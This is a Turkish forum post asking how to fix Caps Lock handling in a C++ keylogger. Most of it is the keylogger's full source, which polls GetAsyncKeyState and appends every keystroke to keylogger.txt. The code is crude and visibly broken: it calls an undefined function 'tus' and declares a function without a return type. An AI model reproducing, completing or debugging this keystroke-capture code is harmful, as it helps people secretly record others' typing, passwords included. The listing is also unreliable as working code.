- 31 Ocak 2016
- 290
- 0
Merhaba arkadaslar c++ keyloggerde if(x==VK_CAPITAL) yani kullanici eger caps lock'u basarsa harfleri buyuk yaziyor peki,kullanici programi baslatmadan once caps lock'u basmis olursa bu duzen degisiyor program yanlis yapiyor bunu nasil duzelte bilirim
Kod:
#include<iostream>
#include<stdio.h>
#include<fstream>
#include<windows.h>
#include<time.h>
#include<locale.h>
#include<winuser.h>
#include<conio.h>
#include <string>
using namespace std;
SpecialKeys(string kelime)
{
ofstream out;
out.open("keylogger.txt", fstream::app);
out << kelime;
}
bool tuslar(char i){
switch(i){
case VK_SPACE:
cout << " ";
SpecialKeys(" ");
return 1;
break;
case VK_RETURN:
cout << "\n";
SpecialKeys("\n");
return 1;
break;
case VK_BACK:
cout << "\b";
SpecialKeys("\b");
return 1;
break;
default:return 0;
break;}}
int main()
{char x;
while(1){
for(x = 8;x<256;x++){
if(GetAsyncKeyState(x) == -32767){
if(x == VK_CAPITAL){
int r = 1;
while(r<2){
char t;
for(t=8;t<256;t++){
if(GetAsyncKeyState(t) == -32767){
if(t == VK_CAPITAL){
r = 3;
break;}
else{
if(tuslar(t) == 0 && tus(t) == 0)
{cout << t;
ofstream out;
out.open("keylogger.txt", fstream::app);
out << t;}}
}
}}}
else{
if (tuslar(x) == 0){
if (x >= 65 & x <= 90)
{
switch (x)
{
case 65:
cout << "a";
SpecialKeys("a");
break;
case 66:
cout << "b";
SpecialKeys("b");
break;
case 67:
cout << "c";
SpecialKeys("c");
break;
case 68:
cout << "d";
SpecialKeys("d");
break;
case 69:
cout << "e";
SpecialKeys("e");
break;
case 70:
cout << "f";
SpecialKeys("f");
break;
case 71:
cout << "g";
SpecialKeys("g");
break;
case 72:
cout << "h";
SpecialKeys("h");
break;
case 73:
cout << "i";
SpecialKeys("i");
break;
case 74:
cout << "j";
SpecialKeys("j");
break;
case 75:
cout << "k";
SpecialKeys("k");
break;
case 76:
cout << "l";
SpecialKeys("l");
break;
case 77:
cout << "m";
SpecialKeys("m");
break;
case 78:
cout << "n";
SpecialKeys("n");
break;
case 79:
cout << "o";
SpecialKeys("o");
break;
case 80:
cout << "p";
SpecialKeys("p");
break;
case 81:
cout << "q";
SpecialKeys("q");
break;
case 82:
cout << "r";
SpecialKeys("r");
break;
case 83:
cout << "s";
SpecialKeys("s");
break;
case 84:
cout << "t";
SpecialKeys("t");
break;
case 85:
cout << "u";
SpecialKeys("u");
break;
case 86:
cout << "v";
SpecialKeys("v");
break;
case 87:
cout << "w";
SpecialKeys("w");
break;
case 88:
cout << "x";
SpecialKeys("x");
break;
case 89:
cout << "y";
SpecialKeys("y");
break;
case 90:
cout << "z";
SpecialKeys("z");
break;
}
}
else{cout << x;
ofstream out;
out.open("keylogger.txt", fstream::app);
out << x;}}
}
}
}
}return 0;
}
Moderatör tarafında düzenlendi: